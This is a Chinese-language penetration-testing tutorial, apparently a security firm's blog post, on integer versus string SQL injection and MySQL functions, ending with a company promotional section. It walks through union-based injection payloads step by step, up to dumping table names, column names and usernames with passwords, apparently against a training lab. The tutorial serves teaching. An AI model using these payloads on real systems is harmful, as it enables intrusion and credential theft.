渗 透 测 试
之 SQL 注 入(2)
前言
上篇文章介绍了SQL注入漏洞原理、危害、防御,还有注入类型的简单介绍。今天就来说下按数据类型分类的整型注入和字符型注入的区别与常见的注入手法。
01
整型注入和字符型注入的区别
整形注入:
?id = 1 and 1 = 1 //页面无变化
?id = 1 and 1 = 2 //页面回显报错
字符型注入:
?id = 1’ and 1 =1 # //页面无变化
?id = 1’ and 1 =2 # //页面回显报错
此外常见的注释符还有:%23、-- (空格)、--+
02
常用内置函数(以mysql为例)
database() 函数
作用:查看当前连接的数据库名称
SQL语句:select database();
user() 函数
作用:查看当前连接数据库的用户
SQL语句:select user();
version() 函数
作用:查看数据库的版本
SQL语句:select version();
concat(str1,str2) 函数
作用:连接两个字符串并传入数据库
SQL语句:select concat(username,password) from user;
实现无间隔连接字符串username和password
concat_ws(separator,str1,str2) 函数
作用:用分隔符连接两个字段的字符串
SQL语句:select concat_ws('--',username,password) from user;
实现用分隔符"--"连接字符串username和password
group_concat(str1,str2) 函数
作用:将多行查询结果以逗号分隔全部输出
SQL语句:select group_concat(username,password) from user;
实现将每一行的字符串username和password连接起来,多行之间用逗号隔开,多行一起输出.
group_concat(concat_ws(seperator,str1,str2)) 函数
作用:将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔,实现将每一行的字符串username和password用符号"--"连接起来,多行之间用逗号隔开,多行一起输出.
03
常见注入手法详细步骤
(列举字符型注入)
如下图所示访问一个正常的页面。
在url后添加?id=1 如下图所示页面回显正常。
判断是否存在注入:在id=1添加 ’ 回车后页面报错,说明可能存在sql注入。
判断注入类型:如下图所示在url内输入?id = 1 and 1=1和?id=1 and 1 =2 页面均回显正常。
继续判断,再次输入?id=1’ and 1=1 #后页面回显报错。
更换注释符继续判断,如图所示?id=1’ and 1=1 --+回显正常,?id=1’ and 1=2 --+页面回显报错
根据页面回显及注入语句判断该注入类型为字符型注入。
根据order by或 group by判断列数:如图所示当列数为4时页面报错,为3时页面回显正常,因此判断为3列。
判断显示位:?id=-1' union select 1,2,3 --+ 如图所示回显位为2和3。
查看敏感信息:
?id=-1' union select 1,@@datadir,3 --+ //返回当前数据路的存放路径
?id=-1' union select 1,@@version_compile_os,@@basedir --+ //返回操作系统版本和数据库安装路径
?id=-1' union select 1,database(),3 --+ //返回库名
获得当前库内(security)所有的表名:?id=-1' union select 1 ,group_concat(table_name), 3 from information_schema.tables where table_schema=database()--+
获取users表内的列名:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
查看用户名和密码:?id=-1' union select 1,group_concat(username,password),3 from users --+
关于我们:
北京冠程科技有限公司(Beijing GctechTechnologyCo.,Ltd.)是一家集人才、技术和经验于一体的,提供全面网络安全解决方案的专业服务商。冠程科技致力于为各行业的网络安全需求提供软件研发和通用解决方案,业务领域主要包括基础服务、咨询业务、产品研发和安全培训四大版块,各版块相互独立又相辅相成,完美阐释了“专业服务、全程服务、延伸服务”的服务体系和“单一业务与长远目标相融合”的服务理念。
关注冠程科技,关注网络安全!
总公司:北京冠程科技有限公司
地址:北京市昌平区科技园区东区产业基地企业墅上区一号楼九单元四层
河北分公司:河北镌远网络科技有限公司(隶属于冠程科技的河北分公司)
地址:河北省邯郸市丛台区中华北大街193号慧谷大厦14层1418号
实训基地:河北省石家庄市电子信息学校冠程科技研究与实训中心
欢迎扫描关注我们,及时了解更多关于网络安全相关知识